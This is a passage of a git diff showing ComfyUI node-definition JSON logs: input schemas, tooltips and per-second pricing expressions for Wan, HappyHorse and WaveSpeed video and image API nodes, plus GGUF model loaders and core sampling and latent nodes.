"video3"], "min": 0}}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2ReferenceVideoApi", "display_name": "Wan 2.7 Reference to Video", "description": "Generate a video featuring a person or object from reference materials. Supports single-character performances and multi-character interactions.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n $outputPrice := $pps * $dur;\n {\n \"type\": \"range_usd\",\n \"min_usd\": $outputPrice,\n \"max_usd\": 5 * $pps + $outputPrice\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseTextToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.1-t2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9", "9:21", "5:4", "4:5"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}, {"key": "happyhorse-1.0-t2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseTextToVideoApi", "display_name": "HappyHorse Text to Video", "description": "Generates a video based on a text prompt using the HappyHorse model.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := $contains(widgets.model, \"1.1\")\n ? { \"720p\": 0.2002, \"1080p\": 0.2574 }\n : { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseImageToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.1-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}, {"key": "happyhorse-1.0-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}]}], "first_frame": ["IMAGE", {"tooltip": "First frame image. The output aspect ratio is derived from this image."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseImageToVideoApi", "display_name": "HappyHorse Image to Video", "description": "Generate a video from a first-frame image using the HappyHorse model.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := $contains(widgets.model, \"1.1\")\n ? { \"720p\": 0.2002, \"1080p\": 0.2574 }\n : { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseVideoEditApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.0-video-edit", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Editing instructions or style transfer requirements.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio. If not changed, approximates the input video ratio.", "multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5"], "min": 0}}]}}}]}], "video": ["VIDEO", {"tooltip": "The video to edit."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseVideoEditApi", "display_name": "HappyHorse Video Edit", "description": "Edit a video using text instructions or reference images with the HappyHorse model. Output duration is 3-15s and matches the input video; inputs longer than 15s are truncated.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $ppsTable := { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps, \"format\": { \"suffix\": \"/second\" } }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseReferenceVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.1-r2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the video. Use identifiers such as 'character1' and 'character2' to refer to the reference characters.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9", "9:21", "5:4", "4:5"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5", "image6", "image7", "image8", "image9"], "min": 1}}]}}}, {"key": "happyhorse-1.0-r2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the video. Use identifiers such as 'character1' and 'character2' to refer to the reference characters.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5", "image6", "image7", "image8", "image9"], "min": 1}}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseReferenceVideoApi", "display_name": "HappyHorse Reference to Video", "description": "Generate a video featuring a person or object from reference materials with the HappyHorse model. Supports single-character performances and multi-character interactions.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := $contains(widgets.model, \"1.1\")\n ? { \"720p\": 0.2002, \"1080p\": 0.2574 }\n : { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WavespeedFlashVSRNode": {"input": {"required": {"video": ["VIDEO", {}], "target_resolution": ["COMBO", {"multiselect": false, "options": ["720p", "1080p", "2K", "4K"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "target_resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WavespeedFlashVSRNode", "display_name": "FlashVSR Video Upscale", "description": "Fast, high-quality video upscaler that boosts resolution and restores clarity for low-resolution or blurry footage.", "python_module": "comfy_api_nodes.nodes_wavespeed", "category": "partner/video/WaveSpeed", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "target_resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $price_for_1sec := {\"720p\": 0.012, \"1080p\": 0.018, \"2k\": 0.024, \"4k\": 0.032};\n {\n \"type\":\"usd\",\n \"usd\": $lookup($price_for_1sec, widgets.target_resolution),\n \"format\":{\"suffix\": \"/second\", \"approximate\": true}\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WavespeedImageUpscaleNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["SeedVR2", "Ultimate"]}], "image": ["IMAGE", {}], "target_resolution": ["COMBO", {"multiselect": false, "options": ["2K", "4K", "8K"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "target_resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WavespeedImageUpscaleNode", "display_name": "WaveSpeed Image Upscale", "description": "Boost image resolution and quality, upscaling photos to 4K or 8K for sharp, detailed results.", "python_module": "comfy_api_nodes.nodes_wavespeed", "category": "partner/image/WaveSpeed", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"seedvr2\": 0.01, \"ultimate\": 0.06};\n {\"type\":\"usd\", \"usd\": $lookup($prices, widgets.model)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveImageWebsocket": {"input": {"required": {"images": ["IMAGE"]}}, "input_order": {"required": ["images"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "SaveImageWebsocket", "display_name": "Save Image (Websocket)", "description": "", "python_module": "custom_nodes.websocket_image_save", "category": "image", "output_node": true, "has_intermediate_output": false, "search_aliases": []}, "UnetLoaderGGUF": {"input": {"required": {"unet_name": [["flux-2-klein-4b-Q4_K_M.gguf", "flux1-schnell-Q4_K_M.gguf", "qwen-image-Q4_K_M.gguf", "z-image-turbo-Q4_K_M.gguf"]]}}, "input_order": {"required": ["unet_name"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "UnetLoaderGGUF", "display_name": "Unet Loader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPLoaderGGUF": {"input": {"required": {"clip_name": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["stable_diffusion", "stable_cascade", "sd3", "stable_audio", "mochi", "ltxv", "pixart", "cosmos", "lumina2", "wan", "hidream", "chroma", "ace", "omnigen2", "qwen_image", "hunyuan_image", "flux2", "ovis", "longcat_image", "cogvideox", "lens", "pixeldit", "ideogram4", "boogu", "krea2"]]}}, "input_order": {"required": ["clip_name", "type"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPLoaderGGUF", "display_name": "CLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "DualCLIPLoaderGGUF": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["sdxl", "sd3", "flux", "hunyuan_video", "hidream", "hunyuan_image", "hunyuan_video_15", "kandinsky5", "kandinsky5_image", "ltxv", "newbie", "ace"]]}}, "input_order": {"required": ["clip_name1", "clip_name2", "type"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "DualCLIPLoaderGGUF", "display_name": "DualCLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "TripleCLIPLoaderGGUF": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name3": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "TripleCLIPLoaderGGUF", "display_name": "TripleCLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "QuadrupleCLIPLoaderGGUF": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name3": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name4": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3", "clip_name4"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "QuadrupleCLIPLoaderGGUF", "display_name": "QuadrupleCLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "UnetLoaderGGUFAdvanced": {"input": {"required": {"unet_name": [["flux-2-klein-4b-Q4_K_M.gguf", "flux1-schnell-Q4_K_M.gguf", "qwen-image-Q4_K_M.gguf", "z-image-turbo-Q4_K_M.gguf"]], "dequant_dtype": [["default", "target", "float32", "float16", "bfloat16"], {"default": "default"}], "patch_dtype": [["default", "target", "float32", "float16", "bfloat16"], {"default": "default"}], "patch_on_device": ["BOOLEAN", {"default": false}]}}, "input_order": {"required": ["unet_name", "dequant_dtype", "patch_dtype", "patch_on_device"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "UnetLoaderGGUFAdvanced", "display_name": "Unet Loader (GGUF/Advanced)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}} \ No newline at end of file diff --git a/logs/oi3.json b/logs/oi3.json new file mode 100644 index 0000000000..56b97287c6 --- /dev/null +++ b/logs/oi3.json @@ -0,0 +1 @@ +{"KSampler": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model used for denoising the input latent."}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true, "tooltip": "The random seed used for creating the noise."}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000, "tooltip": "The number of steps used in the denoising process."}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01, "tooltip": "The Classifier-Free Guidance scale balances creativity and adherence to the prompt. Higher values result in images more closely matching the prompt however too high values will negatively impact quality."}], "sampler_name": [["euler", "euler_cfg_pp", "euler_ancestral", "euler_ancestral_cfg_pp", "heun", "heunpp2", "exp_heun_2_x0", "exp_heun_2_x0_sde", "dpm_2", "dpm_2_ancestral", "lms", "dpm_fast", "dpm_adaptive", "dpmpp_2s_ancestral", "dpmpp_2s_ancestral_cfg_pp", "dpmpp_sde", "dpmpp_sde_gpu", "dpmpp_2m", "dpmpp_2m_cfg_pp", "dpmpp_2m_sde", "dpmpp_2m_sde_gpu", "dpmpp_2m_sde_heun", "dpmpp_2m_sde_heun_gpu", "dpmpp_3m_sde", "dpmpp_3m_sde_gpu", "ddpm", "lcm", "ipndm", "ipndm_v", "deis", "res_multistep", "res_multistep_cfg_pp", "res_multistep_ancestral", "res_multistep_ancestral_cfg_pp", "gradient_estimation", "gradient_estimation_cfg_pp", "er_sde", "seeds_2", "seeds_3", "sa_solver", "sa_solver_pece", "ddim", "uni_pc", "uni_pc_bh2"], {"tooltip": "The algorithm used when sampling, this can affect the quality, speed, and style of the generated output."}], "scheduler": [["simple", "sgm_uniform", "karras", "exponential", "ddim_uniform", "beta", "normal", "linear_quadratic", "kl_optimal"], {"tooltip": "The scheduler controls how noise is gradually removed to form the image."}], "positive": ["CONDITIONING", {"tooltip": "The conditioning describing the attributes you want to include in the image."}], "negative": ["CONDITIONING", {"tooltip": "The conditioning describing the attributes you want to exclude from the image."}], "latent_image": ["LATENT", {"tooltip": "The latent image to denoise."}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01, "tooltip": "The amount of denoising applied, lower values will maintain the structure of the initial image allowing for image to image sampling."}]}}, "input_order": {"required": ["model", "seed", "steps", "cfg", "sampler_name", "scheduler", "positive", "negative", "latent_image", "denoise"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "KSampler", "display_name": "KSampler", "description": "Uses the provided model, positive and negative conditioning to denoise the latent image.", "python_module": "nodes", "category": "model/sampling", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The denoised latent."], "search_aliases": ["sampler", "sample", "generate", "denoise", "diffuse", "txt2img", "img2img"]}, "CheckpointLoaderSimple": {"input": {"required": {"ckpt_name": [[], {"tooltip": "The name of the checkpoint (model) to load."}]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP", "VAE"], "name": "CheckpointLoaderSimple", "display_name": "Load Checkpoint", "description": "Loads a diffusion model checkpoint, diffusion models are used to denoise latents.", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The model used for denoising latents.", "The CLIP model used for encoding text prompts.", "The VAE model used for encoding and decoding images to and from latent space."], "search_aliases": ["load model", "checkpoint", "model loader", "load checkpoint", "ckpt", "model"]}, "CLIPTextEncode": {"input": {"required": {"text": ["STRING", {"multiline": true, "dynamicPrompts": true, "tooltip": "The text to be encoded."}], "clip": ["CLIP", {"tooltip": "The CLIP model used for encoding the text."}]}}, "input_order": {"required": ["text", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "CLIPTextEncode", "display_name": "CLIP Text Encode (Prompt)", "description": "Encodes a text prompt using a CLIP model into an embedding that can be used to guide the diffusion model towards generating specific images.", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["A conditioning containing the embedded text used to guide the diffusion model."], "search_aliases": ["text", "prompt", "text prompt", "positive prompt", "negative prompt", "encode text", "text encoder", "encode prompt"]}, "CLIPSetLastLayer": {"input": {"required": {"clip": ["CLIP"], "stop_at_clip_layer": ["INT", {"default": -1, "min": -24, "max": -1, "step": 1, "advanced": true}]}}, "input_order": {"required": ["clip", "stop_at_clip_layer"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPSetLastLayer", "display_name": "CLIP Set Last Layer", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAEDecode": {"input": {"required": {"samples": ["LATENT", {"tooltip": "The latent to be decoded."}], "vae": ["VAE", {"tooltip": "The VAE model used for decoding the latent."}]}}, "input_order": {"required": ["samples", "vae"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "VAEDecode", "display_name": "VAE Decode", "description": "Decodes latent images back into pixel space images.", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The decoded image."], "search_aliases": ["decode", "decode latent", "latent to image", "render latent"]}, "VAEEncode": {"input": {"required": {"pixels": ["IMAGE"], "vae": ["VAE"]}}, "input_order": {"required": ["pixels", "vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "VAEEncode", "display_name": "VAE Encode", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["encode", "encode image", "image to latent"]}, "VAEEncodeForInpaint": {"input": {"required": {"pixels": ["IMAGE"], "vae": ["VAE"], "mask": ["MASK"], "grow_mask_by": ["INT", {"default": 6, "min": 0, "max": 64, "step": 1}]}}, "input_order": {"required": ["pixels", "vae", "mask", "grow_mask_by"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "VAEEncodeForInpaint", "display_name": "VAE Encode (for Inpainting)", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAELoader": {"input": {"required": {"vae_name": [["flux1_ae.safetensors", "flux2_ae.safetensors", "qwen_image_vae.safetensors", "zimage_vae.safetensors", "pixel_space"]]}}, "input_order": {"required": ["vae_name"]}, "is_input_list": false, "output": ["VAE"], "output_is_list": [false], "output_name": ["VAE"], "name": "VAELoader", "display_name": "Load VAE", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "EmptyLatentImage": {"input": {"required": {"width": ["INT", {"default": 512, "min": 16, "max": 16384, "step": 8, "tooltip": "The width of the latent images in pixels."}], "height": ["INT", {"default": 512, "min": 16, "max": 16384, "step": 8, "tooltip": "The height of the latent images in pixels."}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096, "tooltip": "The number of latent images in the batch."}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "EmptyLatentImage", "display_name": "Empty Latent Image", "description": "Create a new batch of empty latent images to be denoised via sampling.", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The empty latent image batch."], "search_aliases": ["empty", "empty latent", "new latent", "create latent", "blank latent", "blank"]}, "LatentUpscale": {"input": {"required": {"samples": ["LATENT"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "bislerp"]], "width": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 8}], "height": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 8}], "crop": [["disabled", "center"]]}}, "input_order": {"required": ["samples", "upscale_method", "width", "height", "crop"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentUpscale", "display_name": "Upscale Latent", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["enlarge latent", "resize latent"]}, "LatentUpscaleBy": {"input": {"required": {"samples": ["LATENT"], "upscale_method": [["nearest-exact", 